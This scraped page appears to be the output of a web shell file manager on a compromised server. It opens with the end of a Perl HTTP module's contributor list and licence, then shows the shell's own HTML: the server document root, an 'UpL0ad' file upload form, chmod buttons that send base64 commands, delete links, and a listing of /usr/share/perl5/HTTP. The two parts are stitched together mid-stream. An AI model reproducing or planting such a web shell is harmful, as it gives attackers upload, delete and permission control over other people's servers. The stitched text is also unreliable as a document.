Andreas J. Koenig &lt;andreas.koenig@anima.de&gt;

=item *

Bill Mann &lt;wfmann@alum.mit.edu&gt;

=item *

Daniel Hedlund &lt;Daniel.Hedlund@eprize.com&gt;

=item *

David E. Wheeler &lt;david@justatheory.com&gt;

=item *

DAVIDRW &lt;davidrw@cpan.org&gt;

=item *

Father Chrysostomos &lt;sprout@cpan.org&gt;

=item *

Ferenc Erki &lt;erkiferenc@gmail.com&gt;

=item *

FWILES &lt;FWILES@cpan.org&gt;

=item *

Gavin Peters &lt;gpeters@deepsky.com&gt;

=item *

Graeme Thompson &lt;Graeme.Thompson@mobilecohesion.com&gt;

=item *

Hans-H. Froehlich &lt;hfroehlich@co-de-co.de&gt;

=item *

Ian Kilgore &lt;iank@cpan.org&gt;

=item *

Jacob J &lt;waif@chaos2.org&gt;

=item *

jefflee &lt;shaohua@gmail.com&gt;

=item *

john9art &lt;john9art@yahoo.com&gt;

=item *

murphy &lt;murphy@genome.chop.edu&gt;

=item *

Ondrej Hanak &lt;ondrej.hanak@ubs.com&gt;

=item *

Perlover &lt;perlover@perlover.com&gt;

=item *

Peter Rabbitson &lt;ribasushi@cpan.org&gt;

=item *

phrstbrn &lt;phrstbrn@gmail.com&gt;

=item *

Robert Stone &lt;talby@trap.mtview.ca.us&gt;

=item *

Rolf Grossmann &lt;rg@progtech.net&gt;

=item *

ruff &lt;ruff@ukrpost.net&gt;

=item *

sasao &lt;sasao@yugen.org&gt;

=item *

Sean M. Burke &lt;sburke@cpan.org&gt;

=item *

Spiros Denaxas &lt;s.denaxas@gmail.com&gt;

=item *

Steve Hay &lt;SteveHay@planit.com&gt;

=item *

Todd Lipcon &lt;todd@amiestreet.com&gt;

=item *

Tony Finch &lt;dot@dotat.at&gt;

=item *

Toru Yamaguchi &lt;zigorou@cpan.org&gt;

=item *

Yuri Karaban &lt;tech@askold.net&gt;

=back

=head1 COPYRIGHT AND LICENCE

This software is copyright (c) 1995 by Gisle Aas.

This is free software; you can redistribute it and/or modify it under
the same terms as the Perl 5 programming language system itself.

=cut
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/perl5/HTTP<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNQ=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&x=Q29uZmlnLnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=Q29uZmlnLnBt"/>Config.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=Q29uZmlnLnBt&c=`+btoa(c):0" value="0644"></td><td>11813</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQL0Nvb2tpZXM="/>Cookies</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=Q29va2llcw==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&x=Q29va2llcy5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=Q29va2llcy5wbQ=="/>Cookies.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=Q29va2llcy5wbQ==&c=`+btoa(c):0" value="0644"></td><td>24268</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&x=RGFlbW9uLnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=RGFlbW9uLnBt"/>Daemon.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=RGFlbW9uLnBt&c=`+btoa(c):0" value="0644"></td><td>32190</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&x=RGF0ZS5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=RGF0ZS5wbQ=="/>Date.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=RGF0ZS5wbQ==&c=`+btoa(c):0" value="0644"></td><td>11980</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQL0hlYWRlcnM="/>Headers</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=SGVhZGVycw==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&x=SGVhZGVycy5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=SGVhZGVycy5wbQ=="/>Headers.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=SGVhZGVycy5wbQ==&c=`+btoa(c):0" value="0644"></td><td>24964</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&x=TWVzc2FnZS5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=TWVzc2FnZS5wbQ=="/>Message.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=TWVzc2FnZS5wbQ==&c=`+btoa(c):0" value="0644"></td><td>34167</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&x=TmVnb3RpYXRlLnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=TmVnb3RpYXRlLnBt"/>Negotiate.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=TmVnb3RpYXRlLnBt&c=`+btoa(c):0" value="0644"></td><td>16100</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQL1JlcXVlc3Q="/>Request</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=UmVxdWVzdA==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&x=UmVxdWVzdC5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=UmVxdWVzdC5wbQ=="/>Request.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=UmVxdWVzdC5wbQ==&c=`+btoa(c):0" value="0644"></td><td>8936</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&x=UmVzcG9uc2UucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=UmVzcG9uc2UucG0="/>Response.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=UmVzcG9uc2UucG0=&c=`+btoa(c):0" value="0644"></td><td>17172</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&x=U3RhdHVzLnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=U3RhdHVzLnBt"/>Status.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=U3RhdHVzLnBt&c=`+btoa(c):0" value="0644"></td><td>13936</td></tr></table>